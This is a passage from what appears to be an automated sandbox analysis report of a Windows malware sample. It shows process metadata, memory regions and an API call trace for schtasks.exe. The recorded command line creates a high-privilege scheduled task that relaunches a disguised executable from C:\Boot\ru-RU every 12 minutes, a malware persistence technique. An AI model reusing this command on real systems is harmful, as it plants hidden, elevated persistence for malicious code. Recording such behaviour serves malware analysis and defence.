hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eb9b0 | out: hHeap=0x3d0000) returned 1 [0132.588] exit (_Code=0) Thread: id = 116 os_tid = 0xf04 Process: id = "16" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x42e8a000" os_pid = "0xf08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2045 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2046 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2047 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2048 start_va = 0x100000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2049 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2050 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2051 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2052 start_va = 0xff120000 end_va = 0xff167fff monitored = 1 entry_point = 0xff14966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2053 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2054 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2055 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2056 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2057 start_va = 0x180000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2058 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2059 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2060 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2061 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2062 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2063 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2064 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2065 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2066 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2067 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2068 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2069 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2070 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2071 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2072 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2073 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2074 start_va = 0x290000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2075 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2076 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2077 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2078 start_va = 0x3d0000 end_va = 0x557fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 2079 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2080 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2081 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2082 start_va = 0x560000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 2083 start_va = 0x6f0000 end_va = 0x1aeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 2084 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2085 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2086 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2087 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2088 start_va = 0x1af0000 end_va = 0x1dbefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2089 start_va = 0x1dc0000 end_va = 0x1e3cfff monitored = 0 entry_point = 0x1dccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2090 start_va = 0x1dc0000 end_va = 0x1e3cfff monitored = 0 entry_point = 0x1dccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2091 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2092 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2093 start_va = 0x1dc0000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 2094 start_va = 0x1dc0000 end_va = 0x1e9efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dc0000" filename = "" Region: id = 2095 start_va = 0x1ef0000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 2096 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2097 start_va = 0x2160000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 2098 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2099 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2100 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2101 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2102 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2103 start_va = 0x190000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2104 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2105 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2107 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 117 os_tid = 0xf0c [0132.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x17fbc0 | out: lpSystemTimeAsFileTime=0x17fbc0*(dwLowDateTime=0x1e2c7420, dwHighDateTime=0x1d8a92a)) [0132.830] GetCurrentProcessId () returned 0xf08 [0132.830] GetCurrentThreadId () returned 0xf0c [0132.830] GetTickCount () returned 0x1386a6c [0132.830] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x17fbc8 | out: lpPerformanceCount=0x17fbc8*=2061169345671) returned 1 [0132.831] GetModuleHandleW (lpModuleName=0x0) returned 0xff120000 [0132.831] __set_app_type (_Type=0x1) [0132.831] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff14972c) returned 0x0 [0132.831] __wgetmainargs (in: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248, _DoWildCard=0, _StartInfo=0xff16125c | out: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248) returned 0 [0132.832] _onexit (_Func=0xff152ab0) returned 0xff152ab0 [0132.832] _onexit (_Func=0xff152ac4) returned 0xff152ac4 [0132.832] _onexit (_Func=0xff152afc) returned 0xff152afc [0132.833] _onexit (_Func=0xff152b58) returned 0xff152b58 [0132.833] _onexit (_Func=0xff152b80) returned 0xff152b80 [0132.833] _onexit (_Func=0xff152ba8) returned 0xff152ba8 [0132.833] _onexit (_Func=0xff152bd0) returned 0xff152bd0 [0132.833] _onexit (_Func=0xff152bf8) returned 0xff152bf8 [0132.833] _onexit (_Func=0xff152c20) returned 0xff152c20 [0132.834] _onexit (_Func=0xff152c48) returned 0xff152c48 [0132.834] _onexit (_Func=0xff152c70) returned 0xff152c70 [0132.834] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0132.834] WinSqmIsOptedIn () returned 0x0 [0132.835] GetProcessHeap () returned 0x190000 [0132.835] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1ab9b0 [0132.835] SetLastError (dwErrCode=0x0) [0132.835] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0132.835] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0132.835] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0132.836] VerifyVersionInfoW (in: lpVersionInformation=0x17f380, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x17f380) returned 1 [0132.836] GetProcessHeap () returned 0x190000 [0132.836] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1ab9d0 [0132.836] lstrlenW (lpString="") returned 0 [0132.836] GetProcessHeap () returned 0x190000 [0132.836] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x2) returned 0x1ab9f0 [0132.836] GetProcessHeap () returned 0x190000 [0132.836] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5950 [0132.836] GetProcessHeap () returned 0x190000 [0132.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1aba10 [0132.837] GetProcessHeap () returned 0x190000 [0132.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5980 [0132.837] GetProcessHeap () returned 0x190000 [0132.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a59b0 [0132.837] GetProcessHeap () returned 0x190000 [0132.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a59e0 [0132.837] GetProcessHeap () returned 0x190000 [0132.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5a10 [0132.837] GetProcessHeap () returned 0x190000 [0132.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1aba30 [0132.837] GetProcessHeap () returned 0x190000 [0132.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5a40 [0132.837] GetProcessHeap () returned 0x190000 [0132.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5a70 [0132.837] GetProcessHeap () returned 0x190000 [0132.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5aa0 [0132.837] GetProcessHeap () returned 0x190000 [0132.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5ad0 [0132.837] GetProcessHeap () returned 0x190000 [0132.838] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1aba50 [0132.838] GetProcessHeap () returned 0x190000 [0132.838] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5b00 [0132.838] GetProcessHeap () returned 0x190000 [0132.838] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5b30 [0132.838] GetProcessHeap () returned 0x190000 [0132.838] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5b60 [0132.838] GetProcessHeap () returned 0x190000 [0132.838] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5b90 [0132.838] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0132.838] SetLastError (dwErrCode=0x0) [0132.838] GetProcessHeap () returned 0x190000 [0132.838] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5bc0 [0132.838] GetProcessHeap () returned 0x190000 [0132.838] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5bf0 [0132.838] GetProcessHeap () returned 0x190000 [0132.839] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5c20 [0132.839] GetProcessHeap () returned 0x190000 [0132.839] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5c50 [0132.839] GetProcessHeap () returned 0x190000 [0132.839] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5c80 [0132.839] GetProcessHeap () returned 0x190000 [0132.839] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1aba70 [0132.839] _memicmp (_Buf1=0x1aba70, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.839] GetProcessHeap () returned 0x190000 [0132.839] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x208) returned 0x1abc10 [0132.839] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1abc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0132.839] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0132.843] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0132.843] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0132.844] GetProcessHeap () returned 0x190000 [0132.844] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x74e) returned 0x1ac1c0 [0132.844] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0132.844] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1ac1c0 | out: lpData=0x1ac1c0) returned 1 [0132.845] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0132.845] VerQueryValueW (in: pBlock=0x1ac1c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x17f468, puLen=0x17f4d0 | out: lplpBuffer=0x17f468*=0x1ac55c, puLen=0x17f4d0) returned 1 [0132.848] _memicmp (_Buf1=0x1aba70, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.848] _vsnwprintf (in: _Buffer=0x1abc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x17f448 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0132.848] VerQueryValueW (in: pBlock=0x1ac1c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x17f4d8, puLen=0x17f4c8 | out: lplpBuffer=0x17f4d8*=0x1ac388, puLen=0x17f4c8) returned 1 [0132.848] lstrlenW (lpString="schtasks.exe") returned 12 [0132.848] lstrlenW (lpString="schtasks.exe") returned 12 [0132.848] lstrlenW (lpString=".EXE") returned 4 [0132.848] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0132.849] lstrlenW (lpString="schtasks.exe") returned 12 [0132.849] lstrlenW (lpString=".EXE") returned 4 [0132.849] _memicmp (_Buf1=0x1aba70, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.849] lstrlenW (lpString="schtasks") returned 8 [0132.849] GetProcessHeap () returned 0x190000 [0132.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1a5d70 [0132.850] GetProcessHeap () returned 0x190000 [0132.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acad0 [0132.850] GetProcessHeap () returned 0x190000 [0132.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acb00 [0132.850] GetProcessHeap () returned 0x190000 [0132.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acb30 [0132.850] GetProcessHeap () returned 0x190000 [0132.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1aba90 [0132.850] _memicmp (_Buf1=0x1aba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.850] GetProcessHeap () returned 0x190000 [0132.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xa0) returned 0x1ac010 [0132.850] GetProcessHeap () returned 0x190000 [0132.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acb60 [0132.850] GetProcessHeap () returned 0x190000 [0132.850] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acb90 [0132.850] GetProcessHeap () returned 0x190000 [0132.851] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acbc0 [0132.851] GetProcessHeap () returned 0x190000 [0132.851] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1abab0 [0132.851] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.851] GetProcessHeap () returned 0x190000 [0132.851] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x200) returned 0x1ad2a0 [0132.851] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0132.851] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0132.851] GetProcessHeap () returned 0x190000 [0132.851] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x30) returned 0x1a7a70 [0132.851] _vsnwprintf (in: _Buffer=0x1ac010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x17f448 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0132.851] GetProcessHeap () returned 0x190000 [0132.851] GetProcessHeap () returned 0x190000 [0132.852] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac1c0) returned 1 [0132.852] GetProcessHeap () returned 0x190000 [0132.852] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ac1c0) returned 0x74e [0132.852] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac1c0 | out: hHeap=0x190000) returned 1 [0132.852] SetLastError (dwErrCode=0x0) [0132.852] GetThreadLocale () returned 0x409 [0132.852] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.853] lstrlenW (lpString="?") returned 1 [0132.853] GetThreadLocale () returned 0x409 [0132.853] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.853] lstrlenW (lpString="create") returned 6 [0132.853] GetThreadLocale () returned 0x409 [0132.853] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.853] lstrlenW (lpString="delete") returned 6 [0132.853] GetThreadLocale () returned 0x409 [0132.853] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.853] lstrlenW (lpString="query") returned 5 [0132.853] GetThreadLocale () returned 0x409 [0132.853] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.853] lstrlenW (lpString="change") returned 6 [0132.853] GetThreadLocale () returned 0x409 [0132.853] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.853] lstrlenW (lpString="run") returned 3 [0132.853] GetThreadLocale () returned 0x409 [0132.853] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.854] lstrlenW (lpString="end") returned 3 [0132.854] GetThreadLocale () returned 0x409 [0132.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.854] lstrlenW (lpString="showsid") returned 7 [0132.854] GetThreadLocale () returned 0x409 [0132.854] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.854] SetLastError (dwErrCode=0x0) [0132.854] SetLastError (dwErrCode=0x0) [0132.854] lstrlenW (lpString="/create") returned 7 [0132.854] lstrlenW (lpString="-/") returned 2 [0132.854] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.854] lstrlenW (lpString="?") returned 1 [0132.854] lstrlenW (lpString="?") returned 1 [0132.854] GetProcessHeap () returned 0x190000 [0132.854] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1ac1c0 [0132.854] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.854] GetProcessHeap () returned 0x190000 [0132.854] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xa) returned 0x1ac1e0 [0132.854] lstrlenW (lpString="create") returned 6 [0132.855] GetProcessHeap () returned 0x190000 [0132.855] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1ac200 [0132.855] _memicmp (_Buf1=0x1ac200, 